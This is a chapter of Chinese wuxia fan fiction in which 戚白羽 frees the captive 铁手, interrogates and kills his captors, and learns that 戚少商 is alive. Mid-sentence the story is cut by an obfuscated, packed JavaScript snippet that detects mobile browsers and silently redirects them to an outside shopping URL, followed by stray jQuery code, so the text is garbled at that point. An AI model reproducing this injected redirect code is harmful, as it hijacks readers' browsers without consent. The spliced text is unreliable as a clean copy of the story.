戚少商如今生死不知,且多半凶多吉少,戚白羽更没有心思同他在这里玩什么交换人质的把戏,她冷笑一声,毫不迟疑,直冲而前。
鲜于仇内心一惊,暗道:“不好,原来这人不是为了救铁手而来!”但此时已来不及变招,只好伸手一拽,故技重施,将人掷向戚白羽。那囚犯头脸都被蒙住,原本无法视物,此时感到掌力扑面,却惊讶地轻轻“啊”了一声。
那声音撕裂干哑,戚白羽却依旧听得出他的声音,一时大为震惊,脱口叫道:“铁游夏!”
一面叫出口,她一面手掌一翻,匆匆收敛掌力,只以手腕背面击中他肩头,跟着沿他手臂一路急滑而下,一面卸力,一面握住了他手腕将人接住。待到两人落到地面时,便见铁手左肩衣物残片簌簌而落,为她掌背拂过之处,衣物被残余热量烧灼,尽数化为飞灰。但下方露出的皮肤,只有受刑的伤口,却并无半点烧伤痕迹在上面。
铁手周身大穴全被制住,无法活动,一旦落地,立时便向下倒。戚白羽一边问:“你怎在此?”一面探手先向他穴道点去。
这话音还未落地,铁手亦不及回答,便听两股破风声急近:面前是鲜于仇觑得机会,挥舞他那把样式古怪的拐杖,猛击向前;背后是冷呼儿缓过一口气,虽被钉在地上,却鼓足内力,掷出一把暗器;左右两侧又有兵丁弯弓欲射。耳边听得鲜于仇大喝:“铁手,你可许诺过,绝不逃脱——”
戚白羽后退一步,半跪在地,扶铁手倚在自己腿边坐好。她俯下身,右手连解铁手周身大穴,左手则探向背后,抽出了长枪。
好像当真是一道闪电在眼前挥过。
那闪电是枪尖的寒光,那雨声是长枪与诸般兵器交击的密集声响,她周围的人眼睛看到这一切,却根本来不及反应,头脑中只觉得是一团雷雨云,猛地在自己面前炸开!
周围的一切——暗器、箭矢、兵器、甚至是人,全都向后甩飞。在雷声中夹杂着惨叫,不知道是谁中了暗器、谁中了箭矢,也不知道被摔飞的人是死是活,只是一招之后,这两人周围,蓦地空出一大片,除了那辆囚车,就只剩光秃秃的黄土。
在场的也许只有三个人能真正看得见这一招里发生的事,但铁手还被黑布蒙着头,便只剩两人。两人中,冷呼儿竭力想把自己从地上拔起来,但那箭矢穿透他的骨头,连尾羽都深深没入,大大限制了他的活动,他放声惨叫,连滚带爬,仍旧未能避免被自己的淬毒暗器击中了几下。
至于鲜于仇,他冲过来得有多快,向后退得就有多快。
此时他的背上已经一片冷汗,虽然战至如今还未受伤,但他心底里很清楚,自己从活蹦乱跳到死掉,也许只在两三招之间。此时他已经深深悔恨自己为什么要参与这一趟任务,早忘记了在围攻戚少商、折辱铁手时,自己是如何志得意满。他情知已没有别的办法,只好硬着头皮,叫道:“铁手,你身为四大名捕,可不能不守信义——”
他听见一声冷笑和一声叹息。
冷笑来自戚白羽,叹息来自铁手。他被解开穴道,已恢复了行动能力,眼下摘了头套,正扶着囚车的栏杆缓缓站起。戚白羽上下打量他遍身的伤痕和手脚上的精铁镣铐,眉头皱得更紧,面上杀气腾腾。她短促地问了一声:“还撑得住吗?”
铁手点了点头。
于是她一转头,便当真将铁手抛在身后,更不回顾,直向鲜于仇冲来。
鲜于仇几乎只见一道白影,旋即便是万点寒光迎面,那一杆枪仿佛搅起漫天星河,将人卷入其中,头晕目眩,直不知该往哪个方向去。他大喝一声,人马合一,奋力向着一侧跃出,一时间仿佛冲破了那炫目的幻象——但他还来不及得意,忽然一只素手伸出,蓦地抓上了他的拐杖!
被她手指握住的地方咔嚓一声,碎作霾粉,那只手去势不减,一掌拍上他的胸口!
鲜于仇大叫一声,口吐鲜血,向后飞去,只觉得周身经脉都如同火焚,胸前一阵剧痛,肋骨已不知道断了几根。他模糊的视野里,看到女子提着长枪,向他走来,双目如星,杀意如沸。
“我连云寨要杀你,关四大名捕什么事?”她一面冷冷地说,一面倒持枪杆,将枪尾落下,咔嚓两声,鲜于仇两边肩胛骨已经尽数粉碎。她一挑一挥,动作仿佛轻飘飘的,鲜于仇却只觉得一股大力,将他不由自主抛向远处,落下来时却是跌到了另一人身上——顿时两人同时放声惨叫,他才发觉,被他压住的那人原来是冷呼儿。
戚白羽回过身来。
鲜于仇和冷呼儿所带几百人军队中,起码几十个人被暗器或弓矢击中,倒在地上呻吟痛呼,其他人虽未受伤,看见主帅已经如此凄惨,早不成了阵势,手上还拎着弓箭或刀枪,却已没了攻击的勇气,轰然而逃。戚白羽瞥了他们一眼,一俯身从掉落地上的箭囊里抓了一把箭。
但她在把这一把箭掷出去前,铁手已抢先开口,他没有任何多余的寒暄,直截了当,道:“戚少商还活着!”
听前一两个字时,戚白羽还听得出他声音喑哑干涩,显然是内劲不续——以铁手的深厚内力,会有这种表现,定是伤得极重了。但是紧跟着她便已来不及思考这个,为他所说之事摄去了全部心神。
一时间沸腾的杀念和怒火如潮水退却,她缓缓地呼出一口气,将那一把箭掷在地上,箭矢落在地面时,已零落成破碎的木屑残片。而后她转过身,一脚将鲜于仇和冷呼儿踹开,枪尖随意点了一个人的脖子,道:“三句话内,跟我说清楚连云寨和戚少商现在如何了。说不清楚,就死。”
被她指着的冷呼儿一见面就被打得晕头转向,此时早已失了斗志,更不敢违抗,慌忙道:“顾惜朝、孟有威、游天龙投靠了傅相爷,杀了其他几个寨主。只有穆鸠平和戚少商还活着,逃往碎云渊毁诺城的方向。”
他一口气说完,话中还不着痕迹地同连云寨另外几个寨主的死撇清干系,实在是毕生第一等的思维敏捷。可惜这番难得的伶俐注定无人欣赏,戚白羽听见几个熟悉的叛徒名字,只冷笑一声,更不停歇,续道:“顾惜朝在哪儿?你们还有什么其他人马?”
冷呼儿忙不迭道:“顾惜朝同黄将军……黄,黄金麟一道,向西南方围堵他们两人。”
鲜于仇抢着道:“还有神威镖局,还有霹雳堂的人,傅相爷都先一步联系过了。神威镖局许诺不出手相帮,霹雳堂里也有我们的卧底……”
“还,还有‘捕王’李玄衣,只是他走另一条路,我们并不清楚他的动向。”冷呼儿匆忙补充。
鲜于仇战战兢兢道:“正是——傅相爷并不曾出面,中间全是我两人联系,姑娘若是用得着,我们也可以代姑娘再去——”
“再去叫他们反水?免了。这样的人,连云寨可不敢再信。”她冷冷道,“都有谁?”
“神威镖局的局主高风亮向我们保证,管束镖局全体人马,绝不出手,另有‘福慧双修’李氏兄弟,在霹雳堂的援军中预备着……”
“就这些?”她冷冷地问,枪尖下沉一寸,将他喉咙刺出血来。鲜于仇登时保持着那个口型,又要咳嗽,又不敢乱动,整个人五官乱跳,结结巴巴地道:“还,还有的是黄金麟大人,或者顾惜朝联系的,我们两个实在不知……”
戚白羽将枪尖又沉了几分,见他满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439922|200763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脸惊惧,仍旧不答,情知这个问题怕是问不出别的结果了,于是她转而问:“铁游夏难道不是朝廷捕快?又怎么在你们手里?”
鲜于仇喉咙还被枪尖顶着,不敢多说,冷呼儿在旁连忙抢先道:“铁……铁二爷撞见我们拘捕戚少商,他叫我们放了戚少商,自愿束手就擒,以身代罪。”
戚白羽大为震惊,回首望向铁手,问:“当真?”
铁手点了点头。
她仍觉得不可置信——要说铁手会手下留情,放戚少商一马,她完全是信的,但是以身代罪,在此情此景下不啻于性命相替,可就完全是另一回事了。她追问:“他们怎么愿意?”
铁手答道:“我擒了冷将军在手,他们便不得不同意了。”
她张了张口,又闭上,一时间两人对望,目光复杂难明,都没有说什么别的话。地上的冷呼儿此时却忽然将手一扬,一柄暗藏的短匕,脱手飞出!
互相对望的铁手和戚白羽,都不曾将目光移开一瞬,却已瞬间动了起来——铁手原本扶住囚车的手一用力,钢铁铸成的栏杆便如纸糊一般,被他撕下一段,紧跟着一扬手,便将那段栏杆掷出;戚白羽则只是轻飘飘地一拧身,向后退了一步。那蓝幽幽的短匕掠过她的衣袖,又被栏杆的碎片击中,铛地一声,飘落远处。她更不迟疑,将枪尖轻移,一枪扎下。
冷呼儿甚至来不及求饶,便被一枪毙命。戚白羽再次垂下目光,注视他身边的鲜于仇,问:“李玄衣也来?”
鲜于仇大气都不敢喘地点了点头。戚白羽缓缓地闭了闭眼。
“为什么?”她问,“傅宗书还支使不动他。皇帝为什么要派他来?”
“小人……小人不知……”
“那你们知不知道,傅宗书到底为什么要毁掉连云寨?”
鲜于仇绞尽脑汁:“小人只知道傅相爷,这个,很是看重此案,说是,那个,乱臣贼子……”
“看来你不知道。”她应了一声,一枪扎下,如同信手拍死一只苍蝇。然后她转目环顾四周躺了一地的伤员——现在已没有人再敢呻吟痛呼,所有能动的,都在试图悄悄地向外爬走。她以一种事不关己般的语气向铁手道:“这些人,你认不认识?”
铁手苦笑道:“且饶他们一命吧,戚姑娘。”
“他们追杀连云寨的时候,饶过了什么人?”她反问。
伤员中有机灵的,连忙大喊:“我们都是冷大人和鲜于大人自京城带来的!不曾杀上过连云寨!”
铁手道:“戚姑娘,他们不过普通士兵,听令行事罢了,或许不少人手上当真没有连云寨兄弟的性命。你要向首恶报仇,我不拦阻,但教他们就此送命,岂不冤枉。”
戚白羽冷冷道:“他们追杀连云寨时,从不管是否该杀。我要还手,反倒瞻前顾后,岂不冤枉?”
她话说得杀气腾腾,却只向旁边拾了半截残刀,手指一握,断为碎片,向周遭一掷。四周响起几声压抑不住的痛呼和闷哼,却是地上有武功的人,皆被击中丹田气海,废了功力。铁手知道这是不准备再下杀手的意思,舒了口气,道:“多谢你。”
“我救你自己的时候,倒不曾得一声谢。”
她语气冷淡,伸手扶住他肩膀输入内力时,力道却轻柔小心。“还能支撑么?”
“自然。”铁手道,“追赶戚兄要紧。”
她点了点头,撮唇吹响一声口哨,那匹白马应声而来。她将铁手扶上马,骑在他身后,一扯缰绳,向他确认道:“他们去了毁诺城?”
铁手一点头。
“跟我来。”她说,身影如风,掠进了林间小道。